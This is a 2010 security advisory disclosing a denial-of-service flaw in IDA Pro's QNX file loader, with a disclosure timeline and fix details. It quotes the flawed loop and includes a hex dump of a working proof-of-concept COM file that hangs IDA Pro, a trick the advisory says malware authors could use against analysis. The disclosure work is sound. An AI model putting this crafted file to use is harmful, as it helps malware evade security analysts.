Denial-of-Service Vulnerability in IDA Pro
------------------------------------------

June 28th, 2010

=======
Summary
=======
Name: Denial-of-Service Vulnerability in IDA Pro
Release Date: June 28th, 2010
Discoverer: Jason Geffner
Version Affected: IDA Pro 3.76 through 5.6
Risk: Low
Status: Published

============
Introduction
============
This paper discusses how a binary file could be crafted to cause IDA Pro to
consume 100% of CPU resources while trying to analyze it, thus preventing
disassembling. While this vulnerability is in the QNX file loader, a functional
COM file could be crafted to masquerade as a QNX file and trigger this issue.
This vulnerability was responsibly disclosed to IDA Pro's support personnel and
this advisory was not released until a fixed build was publicly released.

==========
Background
==========
"The IDA Pro Disassembler and Debugger is an interactive, programmable,
extendible, multi-processor disassembler hosted on Windows, Linux, or Mac OS X.
IDA Pro has become the de-facto standard for the analysis of hostile code,
vulnerability research and COTS validation." [1]

========
Timeline
========
07/28/98 IDA Pro loader for QNX files written
12/31/09 Denial-of-service vulnerability discovered in IDA Pro loader for QNX
         files
12/31/09 Detailed vulnerability report responsibly disclosed to IDA Pro's
         support personnel
01/04/10 Response received from IDA Pro's support personnel, confirming
         vulnerability
06/25/10 IDA Pro 5.7 released, fixing vulnerability
06/28/10 Advisory released

=============
Vulnerability
=============
IDA Pro uses different file loaders to disassemble files of different formats
(PE, ELF, etc.). The loader for QNX files contains a vulnerability that allows
a specially crafted file to cause the loader to go into an infinite loop,
thereby consuming 100% of CPU resources and preventing disassembly.

The for-loop below is designed to iterate through each lmf_data structure in
the input file, advancing the file pointer based on sizeof(lmf_data) +
lmf_data.offset). However, if lmf_data.offset == -sizeof(lmf_data) then at is
never increased and this code will run in an infinite loop.

>From \ldr\qnx\qnx.cpp(50):
  for(uint32 at = sizeof(ex.lmf_header)+ex.lmf_header.data_nbytes;
      lmf_data.segment_index != _LMF_EOF_REC;
      at += sizeof(lmf_data) + lmf_data.offset)
  {
    qlseek( li, at, 0 );
    if ( sizeof(_lmf_data) !=
            qlread( li, &lmf_data, sizeof(_lmf_data) ) ) return 0;
    switch(lmf_data.segment_index)
    {
...
      case _LMF_COMMENT_REC:
        break;
...
    }
  }

=======
Exploit
=======
While this vulnerability is in the QNX file loader, a functional COM file could
be crafted to masquerade as a QNX file and trigger this issue. As such, it
would be possible for a malware author to create a working malicious COM
program, craft it to appear as a QNX file to IDA Pro, and thus prevent IDA Pro
from being able to disassemble it. Windows 7 will correctly run such a COM
program even if it is named with a .EXE extension.

See below for a proof-of-concept COM file. When run from a command-prompt, this
program will print, "I can't be opened in IDA Pro :)". When opened in IDA Pro,
it will cause IDA Pro to spin in an infinite loop.

00000000:  00 00 34 00 00 00 b4 09 eb 02 82 01 ba 13 01 cd    ..4.............
00000010:  21 cd 20 49 20 63 61 6e 27 74 20 62 65 20 6f 70    !. I can't be op
00000020:  65 6e 65 64 20 69 6e 20 49 44 41 20 50 72 6f 20    ened in IDA Pro 
00000030:  3a 29 24 00 00 00 00 00 00 00 01 00 fa ff ff ff    :)$.............
00000040:  00 00 00 00 00 00                                  ......

==========
Conclusion
==========
In-depth code reviews and fuzzing should be performed on all software,
especially when the software is designed for analyzing malicious and/or
untrusted data.

===============
Fix Information
===============
This issue has now been resolved. IDA Pro 5.7 can be downloaded from
https://www.hex-rays.com/updida.shtml

==========
References
==========
[1] https://hex-rays.com/idapro/overview.htm

NGSSoftware Insight Security Research
https://www.ngssoftware.com/
https://www.databasesecurity.com/
https://www.nextgenss.com/
+44(0)208 401 0070